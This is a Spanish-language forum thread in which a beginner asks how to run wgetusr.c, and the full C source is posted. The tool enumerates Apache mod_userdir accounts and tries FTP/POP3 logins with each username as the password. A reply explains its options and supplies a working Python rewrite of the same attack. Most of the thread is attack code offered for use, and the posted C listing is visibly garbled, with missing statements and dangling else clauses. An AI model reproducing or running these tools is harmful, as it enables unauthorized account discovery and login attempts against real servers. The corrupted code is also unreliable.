Autor
|
Tema: mod_userdir Apache (Leído 8,256 veces)
|
Nobody12
|
Hola, antes que nada decir que acabo de empezar en ésto, así que es normal que mis preguntas sean un poco newbies. He compilado un exploit en C perfectamente, el problema viene al ejecutarlo. Para ello tengo que poner ésto: Use: exploit.exe [options] -h <host> -u <usrfile> -h Host -u Users file Options -f Try log on via FTP -p Try log on via POP3 Lo que pasa es que no sé ni si usar vía FTP o POP3 ni qué poner en "<usrfile>" porque no tengo ni idea de dónde se guardan los usuarios y contraseñas en Apache. Para probarlo lo ejecuto en localhost, ya que tengo una servidor local (aunque no tiene el bug): exploit.exe -f -h localhost -u user_password Y me da error evidentemente : Me gustaría que me dijerais cómo usar correctamente el exploit y si se puede en localhost. Un saludo. Éste es el Exploit en cuestión: /*------------------------------------------------------------------- * * Exploit: wgetusr.c Windows Version * Author: HighT1mes (John Bissell) * Date Released: July 21, 2004 * * --- Code ported to Windows with some added code, * based on getusr.c exploit by CoKi --- * * Description from CoKi: * ====================== * * This tool tries to find users in a Apache 1.3.* * server through wrong default configuration of * module mod_userdir. * * My Believe: * =========== * * I believe in the current state of the web right * now this information leak bug can be pretty nasty. * Once you have a couple login names on a system * there are many services the attacker can target * to attack and work his way into the target system * to get local access. * * Program Usage: * ============== * * Use: wgetusr [options] -h <host> -u <usrfile> * -h Host * -u Users file * Options * -f Try log on via FTP * -p Try log on via POP3 * * VC++ 6.0 Compilation Information: * ================================= * * First go on the net and get the getopt libs and header * file for VC++ 6.0 Here's a link... * * http://prantl.host.sk/getopt/files/getopt-msvs6.zip * * Now extract the libs into your standerd VC++ Lib directory, * and extract the getopt.h header file of course into the * Include directory. * * Now to compile make a new console app project, * then put this source file in the project. * Next goto Project->Settings. Then click on * the link tab then goto the input catagory. * Now add getopt.lib to the end of objects/librarys * modules text box. Then in the Ignore Librarys * text box type LIBCD.lib to ignore that lib and allow * compilation to complete because of getopt lib. * * Also you where you added getopt.lib to the * objects/librarys modules text box put ws2_32.lib * in that text box as well. * * Your all set compile, hack, distrobute, have fun! :) * *-------------------------------------------------------------------*/ #include <getopt.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <windows.h> #include <winsock2.h> #define DATAMAX 50 #define BUFFER 1000 #define TCPIP_ERROR -1 #define TIMEOUT 3 #define HTTP_PORT 80 #define FTP_PORT 21 #define POP3_PORT 110 void use(char *program); int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout); void vrfy_apache(char *host); void vrfy_vuln(char *host); int test_user(char *host, char *user); int trylogonFTP(char *host, char *user, char *pass); int mkconn(char *host, unsigned short port); int trylogonPOP3(char *host, char *user, char *pass); struct hostent *he; char **fuser; int sockfd; struct sockaddr_in dest_dir; int main(int argc, char *argv[]) { FILE *userlist; char c, *host=NULL, *ulist=NULL; char user[DATAMAX]; int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0; unsigned int cant=0, i, user_num; WSADATA wsaData; int result=0; printf(" =================================\n"); printf(" wgetusr exploit by HighT1mes\n"); printf(" Based on getusr.c code by CoKi\n"); printf(" =================================\n\n"); Sleep(1000); if(argc < 2) use(argv[0]); result = WSAStartup( MAKEWORD( 2,2 ), &wsaData ); if ( result != NO_ERROR ) { printf( "Error at WSAStartup()\n" ); return( EXIT_FAILURE ); } while((c = getopt(argc, argv, "h:u:fp")) != EOF) { switch(c) { case 'h': host = optarg; break; case 'u': ulist = optarg; break; case 'f': optftp = 1; break; case 'p': optpop = 1; break; default : use(argv[0]); break; } } if(host == NULL) use(argv[0]); if(ulist == NULL) use(argv[0]); printf(" [+] verifying list:\t"); if((userlist = fopen(ulist , "r")) == NULL ) { } while(!feof(userlist )) if('\n' == fgetc(userlist )) ucant ++; printf("OK (%d users)\n", ucant ); Sleep(1000); fuser = (char **)malloc(sizeof(ucant )); printf(" [+] verifying host:\t"); if((he=gethostbyname(host)) == NULL) { Sleep(1000); } Sleep(1000); if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) { Sleep(1000); } Sleep(1000); closesocket(sockfd); vrfy_apache(host); Sleep(1000); vrfy_vuln(host); Sleep(1000); user_num = 1; if(fgets(user , sizeof(user ), userlist ) == NULL ) break; if(test_user(host, user) == 0) { fuser [cant ] = (char *)malloc(sizeof(user )); cant++; } printf(" wgetusr exploit by HighT1mes\n\n"); printf(" [+] searching for system accounts, please wait...\n"); printf(" [+] processing user #%d\n", user_num ); user_num++; } if(cant == 0) { printf(" no users found\n\n"); } else { /* print out valid usernames found */ printf(" [+] scan results for %s:\n\n", host ); for (i = 0; i < cant; i++) { printf(" found username: %s\n", fuser [i ]); } } if(optftp == 1) { stop = 0; printf(" [+] trying log on via FTP...\n"); if(mkconn(host, FTP_PORT) == TCPIP_ERROR) { stop = 1; } if(!stop) { closesocket(sockfd); for(i=0; i < cant; i++) { if(trylogonFTP(host, fuser[i], fuser[i]) == 0) { printf(" logged in: %s\n", fuser [i ]); flogged++; } } if(flogged == 0) printf(" no users logged in\n"); } } if(optpop == 1) { stop = 0; printf(" [+] trying log on via POP3...\n"); (stdout); if(mkconn(host, POP3_PORT) == TCPIP_ERROR) { stop = 1; } if(!stop) { closesocket(sockfd); for(i=0; i < cant; i++) { if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) { printf(" logged in: %s\n", fuser [i ]); plogged++; } } if(plogged == 0) printf(" no users logged in\n"); } } WSACleanup(); return 0; } void use(char *program) { printf("Use: %s [options] -h <host> -u <usrfile>\n", program ); printf(" -f\tTry log on via FTP\n"); printf(" -p\tTry log on via POP3\n"); } int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout) { int res, slen, flags; struct timeval tv; struct sockaddr_in addr; fd_set rdf, wrf; int iMode = 0; ioctlsocket(sfd, FIONBIO, &iMode); res = connect(sfd, serv_addr, sizeof(struct sockaddr)); if (res >= 0) return res; FD_ZERO(&rdf); FD_ZERO(&wrf); FD_SET(sfd, &rdf); FD_SET(sfd, &wrf); tv.tv_sec = timeout; if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0) return -1; if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) { slen = sizeof(addr); if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1) return -1; flags = ioctlsocket(sfd, FIONBIO, NULL); iMode = flags & ~iMode; ioctlsocket(sfd, FIONBIO, &iMode); return 0; } return -1; } void vrfy_apache(char *host) { char buf[BUFFER], sendstr[DATAMAX]; printf(" [+] verifying Apache:\t"); if(mkconn (host , HTTP_PORT ) == TCPIP_ERROR ) printf("Closed\n"); sprintf(sendstr , "HEAD / HTTP/1.0\n\n"); send(sockfd, sendstr, sizeof(sendstr), 0); recv(sockfd, buf, sizeof(buf), 0); else { } closesocket(sockfd); } void vrfy_vuln(char *host) { char buf[BUFFER], sendstr[DATAMAX]; if(mkconn (host , HTTP_PORT ) == TCPIP_ERROR ) printf("Closed\n"); memset(sendstr , 0, sizeof(sendstr )); send(sockfd, sendstr, sizeof(sendstr), 0); recv(sockfd, buf, sizeof(buf), 0); else { } closesocket(sockfd); } int test_user(char *host, char *user) { char buf[BUFFER], sendstr[DATAMAX]; if(mkconn (host , HTTP_PORT ) == TCPIP_ERROR ) printf(" Closed\n"); memset(sendstr , 0, sizeof(sendstr )); sprintf(sendstr , "GET /~%s\n", user ); send(sockfd, sendstr, sizeof(sendstr), 0); recv(sockfd, buf, sizeof(buf), 0); if(strstr(buf , "403")) return 0; else return 1; closesocket(sockfd); } int trylogonFTP(char *host, char *user, char *pass) { char buf[BUFFER], *senduser, *sendpass; senduser = malloc(sizeof(user +6)); sendpass = malloc(sizeof(pass +6)); sprintf(senduser ,"USER %s\n",user ); sprintf(sendpass ,"PASS %s\n",pass ); if(mkconn (host , FTP_PORT ) == TCPIP_ERROR ) printf(" Closed\n"); recv(sockfd,buf,sizeof(buf),0); send (sockfd ,senduser ,strlen(senduser ), 0); recv(sockfd,buf,sizeof(buf),0); send (sockfd ,sendpass ,strlen(sendpass ), 0); recv(sockfd,buf,sizeof(buf),0); if(strstr(buf , "230")) return 0; else return 1; closesocket(sockfd); } int mkconn(char *host, unsigned short port) { if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) { } dest_dir.sin_family = AF_INET; dest_dir.sin_port = htons(port); dest_dir.sin_addr = *((struct in_addr *)he->h_addr); memset(&(dest_dir. sin_zero), 0, 8); if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) { return TCPIP_ERROR; } return 0; } int trylogonPOP3(char *host, char *user, char *pass) { char buf[BUFFER], *senduser, *sendpass; senduser = malloc(sizeof(user +6)); sendpass = malloc(sizeof(pass +6)); sprintf(senduser ,"USER %s\n",user ); sprintf(sendpass ,"PASS %s\n",pass ); if(mkconn (host , POP3_PORT ) == TCPIP_ERROR ) printf(" Closed\n"); recv(sockfd,buf,sizeof(buf),0); send (sockfd ,senduser ,strlen(senduser ), 0); recv(sockfd,buf,sizeof(buf),0); send (sockfd ,sendpass ,strlen(sendpass ), 0); recv(sockfd,buf,sizeof(buf),0); if(strstr(buf , "+OK")) return 0; else return 1; closesocket(sockfd); } /* EOF */
|
|
« Última modificación: 3 Octubre 2011, 11:19 am por SySc0d3r »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Hola SySc0d3r, No es un exploit, es un bruteforce. Lo podes testear en localhost siempre y cuando tengas alguno de los servers que ataca: - Apache con mod_userdir - FTP - POP3 Con la opcion -u le pasas un archivo con la lista de usuarios para el bruteforce, uno por linea. exploit.exe -f -h localhost -u archivo_con_usuarios.txt
Saludos
|
|
|
En línea
|
|
|
|
Nobody12
|
EDITO: Hola, gracias por contestar. Tengo un server FTP con Apache incluído, pero no tiene esta vulnerabilidad. Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so". ¿Tengo que poner simplemente ésto para atacar mi server? exploit.exe -f -h localhost -u mod_userdir.so Acabo de probarlo y no me funciona, me dice todo el rato: ¿Es porque mi Apache no es vulnerable? ¿Debería atacar por FTP o POP3? Última pregunta : ¿Se puede conocer si el server ha sido atacado con este bruteforce? Un saludo.
|
|
« Última modificación: 6 Octubre 2011, 13:12 pm por SySc0d3r »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so". ¿Tengo que poner simplemente ésto para atacar mi server?
exploit.exe -f -h localhost -u mod_userdir.so
No, en -u tenes que poner un archivo de texto que contenga los nombres de usuario. Por ej suponete que en el archivo users.txt tenes esto admin goku neo luke kirk elbrujo
Guarda el archivo users.txt en el mismo lugar donde ejecutas exploit y proba con esto: exploit.exe -f -h localhost -u users.txt
|
|
|
En línea
|
|
|
|
Nobody12
|
Pero si exploit.exe ha de estar en la misma carpeta que el archivo de usuarios, ¿no puedo utilizar el bruteforce desde otro ordenador? Probé como me dijiste y me detecta el archivo, pero se me queda aquí: - verifying list: OK
- verifying host: OK
- connecting: Closed
#define HTTP_PORT 80 #define TCPIP_ERROR -1 int mkconn(char *host, unsigned short port); printf(" [+] connecting:\t"); if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) { printf("Closed\n\n"); Sleep(1000); exit(1); }
Me imagino que es un problema con el puerto 80. Lo he escaneado y en efecto lo tengo cerrado y por eso el Apache no me conecta. No lo entiendo, porque ayer me funcionaba perfectamente. Lo tengo abierto en el router y el Firewall está totalmente desactivado. He hecho un "netstat -a -no" y el puerto 80 sólo me aparece en una Dirección remota así: 192.168.1.1:80. En Estado me pone TIME_WAIT, y en el PID 0. No entiendo nada
|
|
« Última modificación: 7 Octubre 2011, 17:16 pm por SySc0d3r »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Detalle, la opcion -f hace que exploit.exe intente hacer un bruteforce sobre el puerto 21(ftp). Sacale el -f si queres que ataque el puerto 80. Con respecto a la direccion, localhost equivale a 127.0.0.1 y no a 192.168.1.1. Pone esa direccion sino, porque puede ser que el servidor http no este bindeado a localhost.
|
|
|
En línea
|
|
|
|
Nobody12
|
Vale, ya entiendo. Estoy probando ahora sin poner ni -f ni -p y he podido conectarme Aunque parece que el Apache me sigue sin funcionar, puesto que se me ha parado en: Intentaré resolver ésto primero de todo. Sólo una cosa, ¿puedo usar el exploit desde este ordenador, por ejemplo, e intentar atacar un server alojado en otro ordenador que contiene el archivo con los usuarios? ¿O este archivo tiene que estar obligatoriamente en el misma carpeta que exploit.exe?
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Sólo una cosa, ¿puedo usar el exploit desde este ordenador, por ejemplo, e intentar atacar un server alojado en otro ordenador que contiene el archivo con los usuarios? ¿O este archivo tiene que estar obligatoriamente en el misma carpeta que exploit.exe?
El archivo tiene que estar obligatoriamente en la misma carpeta que el exploit.exe Pero podes lanzar el ataque contra un server remoto sin problemas, usando el archivo en local, es la idea principal del bruteforce. Saludos!
|
|
|
En línea
|
|
|
|
Nobody12
|
Bien, por fin conseguí hacer que se me iniciara el Apache. Simplemente tuve que terminar los procesos que utilizaban el puerto 80. Utilizo este comando: exploit.exe -f -h localhost -u users.txt En vez de localhost, también puedo usar mi IP local. Me muestra los usuarios del archivo perfectamente. El problema viene después. Me sale que se ha conectado bien por FTP, pero justo después me dice que exploit.exe deja de funcionar. - verifying list: OK (3 users)
- verifying host: OK
- connecting: OK
- verifying Apache: OK
- vulnerable: OK
- searching for system accounts, please wait...
- processing user #4
- scan result for localhost:
found username: Admin found username: SySc0d3r found username: User - trying log on via FTP...
- connecting: OK
Y ahí me sale que dejó de funcionar No sé cuál puede ser el problema, parece que el FTP no es. De todas formas también probaré con el POP3 (aunque no tengo ni idea de cómo se usa). if(optftp == 1) { stop = 0; printf(" [+] trying log on via FTP...\n"); printf(" [+] connecting:\t"); if(mkconn(host, FTP_PORT) == TCPIP_ERROR) { printf("Closed\n"); stop = 1; } if(!stop) { printf("OK\n"); closesocket(sockfd); for(i=0; i < cant; i++) { if(trylogonFTP(host, fuser[i], fuser[i]) == 0) { printf(" logged in: %s\n", fuser[i]); flogged++; } } if(flogged == 0) printf(" no users logged in\n"); } }
Un saludo Ivan
|
|
« Última modificación: 7 Octubre 2011, 23:14 pm por SySc0d3r »
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
El problema esta adentro de la funcion trylogonFTP() Lo que tiene que hacer es simple, escribirlo en C es romperse la cabeza... ni conviene ponerse a ver donde se cuelga (que debe ser en algun recv) Aca te hice uno que hace lo mismo pero en python. Menos lineas y muuucho mas facil de entender/corregir/mantener/mejorar/etc... #!/usr/bin/python import sys import httplib from ftplib import FTP def usage(): print "Usage:" print sys.argv[0] + " localhost users.txt" return if len(sys.argv) < 3: print "#ERROR# Not enough arguments" usage() exit() host = sys.argv[1] fusers = sys.argv[2] # Abrir archivo con usuarios users = open(fusers, 'r') print "Search for http users" # Intentar conexiones por http y guardar los usuarios validos valid_users = [] for user in users: user = user.strip() if not user: continue # Conectarse al servidor http conn = httplib.HTTPConnection(host) # Probar con el usuario user print "Trying user " + user + " ...", conn.request("GET", "/~{0}".format(user)) res = conn.getresponse() if res.status == 404: # respuesta 404 print "not found" else: print "OK!" # Salvar usuario valid_users.append(user) # Salir si no se encontro ningun usuario if len(valid_users) == 0: print "No user has been found. Aborting!" exit() # Probar por ftp ahora print "Try login to ftp server" for vuser in valid_users: print "Trying user " + vuser + "...",; sys.stdout.flush() try: ftp = FTP(host, user = vuser, passwd = vuser) ftp.quit() print "OK!" except: print "refused"
Copialo y pegalo. Le pasas el host y el nombre del archivo como parametros. Espero te sirva Saludos!
|
|
« Última modificación: 12 Octubre 2011, 21:37 pm por Ivanchuk »
|
En línea
|
|
|
|
|
|